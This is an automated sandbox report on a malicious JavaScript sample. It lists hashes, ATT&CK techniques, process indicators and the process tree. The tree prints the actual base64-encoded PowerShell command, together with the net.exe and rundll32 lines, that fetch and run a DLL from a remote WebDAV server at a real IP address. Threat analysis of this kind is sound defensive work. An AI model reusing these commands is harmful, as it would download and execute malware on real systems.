cb9e9cdb11efbdd02a41ee8f1d2f9b20a043a70d9f5410a6e1b2373a3ff416d5

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
31/10/2024, 06:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25458290022066624563.js
Size 1.5MB
Sample241031-grflyssajd
SHA256 cb9e9cdb11efbdd02a41ee8f1d2f9b20a043a70d9f5410a6e1b2373a3ff416d5
MD5 998cbd626108fc67bf4302bfd37a10bc
SHA1 f7e47a9dabb03f3f1b3d149bf3f99dde3450ad19
SHA512 69f3bc648707b896878fd708daf1f098c042074b505d62d282fb179937d0d6e8c8bb3964d42fbcc24df405f00cb996f9483534d57e14901b58cb7b33afaf1365
SSDEEP 12288:J/ibp7Kzad5d4x3fViRfVLwBl/cjqdaA7kRbfHbB/dr/B/BeBx8jfS8f2tDfVl/S:xi17Oad5d4xPUEwVG7qahd1K5+isi
MD5 SHA1 SHA512 SSDEEP

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 3044	1800	wscript.exe	30
PID 1800 wrote to memory of 3044	1800	wscript.exe	30
PID 1800 wrote to memory of 3044	1800	wscript.exe	30
PID 3044 wrote to memory of 2800	3044	powershell.exe	32
PID 3044 wrote to memory of 2800	3044	powershell.exe	32
PID 3044 wrote to memory of 2800	3044	powershell.exe	32
PID 3044 wrote to memory of 2756	3044	powershell.exe	33
PID 3044 wrote to memory of 2756	3044	powershell.exe	33
PID 3044 wrote to memory of 2756	3044	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\25458290022066624563.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\
    3⤵
    PID:2800
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\165381610030935.dll Entry
    3⤵
    PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3044-4-0x000007FEF493E000-0x000007FEF493F000-memory.dmp

Download

memory/3044-5-0x000000001B790000-0x000000001BA72000-memory.dmp

Download

memory/3044-7-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download

memory/3044-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Download

memory/3044-9-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download

memory/3044-8-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download

memory/3044-11-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download

memory/3044-10-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download

memory/3044-12-0x000007FEF4680000-0x000007FEF501D000-memory.dmp

Download